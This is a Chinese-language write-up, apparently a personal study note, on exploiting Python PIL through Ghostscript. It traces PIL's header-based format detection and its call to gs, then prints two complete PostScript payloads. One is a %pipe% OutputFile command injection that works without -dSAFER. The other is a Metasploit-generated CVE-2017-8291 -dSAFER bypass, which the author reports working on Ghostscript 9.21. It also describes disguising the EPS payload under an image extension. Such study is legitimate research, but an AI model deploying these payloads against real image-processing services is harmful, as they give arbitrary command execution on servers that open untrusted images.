PIL利用ghostscript漏洞

前言

基本是跟着nearg1e大神的文章走的,自己比较菜,只能膜膜大神了
https://github.com/neargle/PIL-RCE-By-GhostButt

环境

Ubuntu16.04,PIL1.1.7,ghostscript-9.19(version <= 9.21)

分析

首先是一个简单的Demo

from PIL import Image
def get_img_size(filepath=""):
    if filepath:
        img = Image.open(filepath)
        img.load()
        return img.size
    return (0,0)

这个非常简单,就是获取图片size的Demo,这里调用了PIL里Image的Image.open和Image.load函数,加载图片
进下源码,看open函数里,由于这里我已经了解这个漏洞大概了,我直接看open函数对格式的判断吧

for i in ID:
        try:
            factory, accept = OPEN[i]
            if not accept or accept(prefix):
                fp.seek(0)
                return factory(fp, filename)
        except (SyntaxError, IndexError, TypeError):
            pass

看到accept(prefix),这个prefix是前缀,文件头,也就是说这里应用了文件头,我们再跟下这个accept

#EpsImagePlugin
def _accept(prefix):
    return prefix[:4] == "%!PS" or i32(prefix) == 0xC6D3D0C5L
#GifImagePlugin
def _accept(prefix):
    return prefix[:6] in ["GIF87a", "GIF89a"]
#CurImagePlugin
def _accept(prefix):
    return prefix[:4] == "\0\0\2\0"

这样的还有很多,也就是说,我们使用的后缀不要紧,重要的是文件头表示这是什么文件,我们试一下:
首先找一张普通图吧,这张图片是png格式,我改成jpg,然后用脚本走下。

from PIL import Image
def show(filename):
    i=Image.open(filename)
    print i.format
show("./123.jpg")
PIL利用ghostscript漏洞_第1张图片
[ 改后缀]

那么我改改文件头呢?


PIL利用ghostscript漏洞_第2张图片

是可以的,做到让PIL懵逼
我跟着nearg1e大神的思路走了下就是阅读EpsImagePlugin的源码
load之后,我们走向EpsImagePlugin

command = ["gs",
               "-q",                    # quite mode
               "-g%dx%d" % size,        # set output geometry (pixels)
               "-dNOPAUSE -dSAFER",     # don't pause between pages, safe mode
               "-sDEVICE=ppmraw",       # ppm driver
               "-sOutputFile=%s" % file,# output file
               "- >/dev/null 2>/dev/null"]

命令是gs -q -g%dx%d -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=%s - >/dev/null 2>/dev/null

try:
        gs = os.popen(command, "w")
        # adjust for image origin
        if bbox[0] != 0 or bbox[1] != 0:
            gs.write("%d %d translate\n" % (-bbox[0], -bbox[1]))
        fp.seek(offset)
        while length > 0:
            s = fp.read(8192)
            if not s:
                break
            length = length - len(s)
            gs.write(s)
        status = gs.close()
        if status:
            raise IOError("gs failed (status %d)" % status)
        im = Image.core.open_ppm(file)
    finally:
        try: os.unlink(file)
        except: pass

这里就是dSAFER参数,这个参数限制了我们对文件删除、重命名以及命令执行的行为,但是牛逼的 GhostButt CVE-2017-8291 刚好就是 dSAFER 参数的 bypass。但是,这个漏洞,我一个web狗表示很纠结,于是,我先进行下不带dSAFER的尝试

不带dSAFER的尝试

我们直接把源码里的dSAFER注释掉,然后就可以了
不带dSAFER的使用,发现一切比较舒畅,我们直接利用gs的pipe通道就可以直接命令执行

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

currentdevice null false mark /OutputFile (%pipe%echo "hahaha" > /home/web/2333)")
.putdeviceparams
1 true .outputpage
0 0 .quit

我们使用这个包装过的poc,我们可以改为png后缀,进行image.load操作,发现没毛病。之后就直接进行cve吧

GhostButt CVE-2017-8291

这让我一个web狗很纠结啊,表示二进制很渣啊。
所以,我就直接用msf吧,生成了如下poc

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100


/size_from  10000      def
/size_step    500      def
/size_to   65000      def
/enlarge    1000      def

%/bigarr 65000 array def

0
size_from size_step size_to {
    pop
    1 add
} for

/buffercount exch def

/buffersizes buffercount array def


0
size_from size_step size_to {
    buffersizes exch 2 index exch put
    1 add
} for
pop

/buffers buffercount array def

0 1 buffercount 1 sub {
    /ind exch def
    buffersizes ind get /cursize exch def
    cursize string /curbuf exch def
    buffers ind curbuf put
    cursize 16 sub 1 cursize 1 sub {
        curbuf exch 255 put
    } for
} for


/buffersearchvars [0 0 0 0 0] def
/sdevice [0] def

enlarge array aload

{
    .eqproc
    buffersearchvars 0 buffersearchvars 0 get 1 add put
    buffersearchvars 1 0 put
    buffersearchvars 2 0 put
    buffercount {
        buffers buffersearchvars 1 get get
        buffersizes buffersearchvars 1 get get
        16 sub get
        254 le {
            buffersearchvars 2 1 put
            buffersearchvars 3 buffers buffersearchvars 1 get get put
            buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
        } if
        buffersearchvars 1 buffersearchvars 1 get 1 add put
    } repeat

    buffersearchvars 2 get 1 ge {
        exit
    } if
    %(.) print
} loop

.eqproc
.eqproc
.eqproc
sdevice 0
currentdevice
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
put


buffersearchvars 0 get array aload

sdevice 0 get
16#3e8 0 put

sdevice 0 get
16#3b0 0 put

sdevice 0 get
16#3f0 0 put


currentdevice null false mark /OutputFile (%pipe%echo "**" > /root/flag)
.putdeviceparams
1 true .outputpage
.rsdparams
%{ } loop
0 0 .quit
%asdf

但是很纠结的是不行啊。
于是我又在9.21版本试了一次,结果发现,可以了。

也就是说这个cve只适用于9.21版本的,所以兄弟们注意了。

后记

由于自己不是pwn大神,所以这个cve就先放一下吧,以后功力涨了再说,先把web端搞好。

你可能感兴趣的:(PIL利用ghostscript漏洞)